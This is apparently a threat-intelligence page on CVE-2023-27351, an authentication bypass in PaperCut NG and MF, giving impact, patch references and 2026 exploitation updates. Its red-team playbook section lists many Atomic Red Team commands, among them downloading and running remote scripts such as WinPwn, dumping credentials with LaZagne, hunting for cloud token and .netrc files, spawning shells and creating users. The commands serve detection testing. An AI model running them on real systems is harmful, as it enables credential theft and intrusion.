CVE-2023-27351
Overview
This vulnerability is an authentication bypass caused by improper implementation of the authentication algorithm within the SecurityRequestFilter class of PaperCut NG. The flaw allows unauthenticated requests to circumvent the intended authentication checks. The affected component is the authentication mechanism in PaperCut NG versions including 22.0.5 (Build 63914).
Vulnerability Description
This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.
Impact
An attacker can gain unauthorized access to PaperCut NG without providing valid credentials, enabling them to interact with the system as an authenticated user. This can lead to unauthorized access to sensitive print management data and administrative functions. No prior authentication or user interaction is necessary to exploit this issue, increasing the risk of unauthorized system manipulation and potential data exposure in affected environments.
Solution
PaperCut has addressed this vulnerability in updates referenced in advisories PO-1216 and PO-1219, specifically for PaperCut NG versions following 22.0.5. Administrators should apply the vendor-provided patches as detailed at https://www.papercut.com/kb/Main/PO-1216-and-PO-1219. Additional information and mitigation guidance are available in the ZDI advisory ZDI-23-232 at https://www.zerodayinitiative.com/advisories/ZDI-23-232/. Immediate upgrade to the fixed versions is recommended to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a critical flaw in the authentication mechanism of PaperCut NG and PaperCut MF versions 22.0.5 and earlier. Specifically, the issue is rooted in the SecurityRequestFilter class, where the authentication algorithm has been improperly implemented. This design oversight allows remote attackers to bypass authentication entirely, granting unauthorized access to sensitive functionalities of the affected software. The absence of a requirement for valid credentials to exploit this vulnerability significantly amplifies its severity, as it opens the door for malicious actors to interact with the system without any prior authentication.
Attack vectors for this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker can initiate a request to the affected PaperCut installations without needing to authenticate, which means that even individuals with minimal technical skills can exploit this flaw. Scenarios could include an attacker gaining access to administrative controls, allowing them to manipulate print jobs, access sensitive documents, or even disrupt services. Furthermore, the potential for lateral movement within a network increases, as the compromised system could serve as a foothold for further attacks, targeting other connected systems or sensitive data repositories.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on PaperCut for print management and related services. The business risks associated with unauthorized access include data breaches, financial loss, and reputational damage. Unauthorized users could exploit the system to print sensitive documents, leading to confidentiality breaches. Additionally, the operational disruption caused by unauthorized manipulation of print jobs could hinder business processes, resulting in lost productivity and increased operational costs. Organizations that fail to address this vulnerability may also face regulatory scrutiny, especially if sensitive data is exposed as a result of an exploit.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating to the latest versions of PaperCut software is crucial, as vendors typically release patches to address known vulnerabilities. In addition to software updates, organizations should employ network segmentation to limit the exposure of critical systems to potential attackers. Monitoring network traffic for unusual patterns can also help in identifying exploitation attempts. Implementing strong access controls and authentication mechanisms, such as multi-factor authentication, can further reduce the risk of unauthorized access. Conducting regular security assessments and penetration testing will also help organizations identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerability within the authentication mechanism of PaperCut NG and MF poses a significant threat to organizations using these products. The ease of exploitation and potential for severe consequences necessitate immediate attention from affected entities. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against unauthorized access and mitigate the associated risks. As the cybersecurity landscape continues to evolve, staying informed about vulnerabilities and implementing robust security measures will be essential to protect sensitive information and maintain operational integrity.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-27351, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s elevated risk profile, reflected in the updated CVSS score of 8.2 and a significant EPSS score nearing the top percentile, indicating a high likelihood of exploitation attempts in the wild. Our telemetry reveals a sustained upward trend in exploit attempts, signaling increased adversary interest and potential targeting of PaperCut NG installations. Although no new exploit techniques or ransomware associations have been confirmed, the heightened visibility and scoring adjustments necessitate a reassessment of the threat landscape. Consequently, the risk level for organizations running affected PaperCut NG versions has escalated to high, emphasizing the urgency for enhanced monitoring and defensive postures to detect and respond to potential authentication bypass attempts.
Update 2 — May 16, 2026
CSURFACE threat intelligence has detected a slight increase in activity exploiting CVE-2023-27351, reflected by a modest uptick in telemetry signals. While the EPSS score has marginally decreased, the overall trend in exploit attempts remains upward, indicating persistent adversary interest in leveraging this authentication bypass vulnerability. No new exploit variants or ransomware affiliations have been identified, but the continued exploitation attempts underscore the vulnerability’s attractiveness as an attack vector. This subtle shift in the exploitation landscape reinforces the criticality of maintaining vigilant detection capabilities. Consequently, the threat level for organizations using affected PaperCut NG versions remains elevated, with a sustained risk of unauthorized access that could facilitate further compromise.
Update 3 — July 04, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-27351, with telemetry indicating a sustained increase in adversary activity leveraging this authentication bypass vulnerability. Concurrently, the CVSS score for this issue has been revised downward to 7.5 from the previous 8.2, reflecting a refined understanding of the vulnerability’s impact and exploitability. Despite this score adjustment, the risk posed by the vulnerability remains significant due to its unauthenticated nature and continued interest from threat actors. The EPSS metric remains stable, suggesting that while exploitation frequency has increased, it has not yet accelerated rapidly. No new exploit variants or ransomware group associations have emerged, but the persistent exploitation attempts underscore the vulnerability’s ongoing attractiveness as an initial access vector. For defenders, this evolving landscape highlights the necessity of maintaining robust detection and monitoring controls, as adversaries continue to probe affected PaperCut NG environments. Overall, the threat level remains elevated, with the increased exploitation activity reinforcing the critical need for vigilance despite the CVSS score reduction.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Papercut | Papercut Mf | All |
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
|
|
|
Papercut | Papercut Mf | All |
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
|
|
|
Papercut | Papercut Mf | All |
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
|
|
|
Papercut | Papercut Ng | All |
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
|
|
|
Papercut | Papercut Ng | All |
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
|
|
|
Papercut | Papercut Ng | All |
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
18 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27351 |
| papercut.com |
GitHub CVE
|
https://www.papercut.com/kb/Main/PO-1216-and-PO-1219 |
| zerodayinitiative.com |
GitHub CVE
|
https://www.zerodayinitiative.com/advisories/ZDI-23-232/ |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27351 |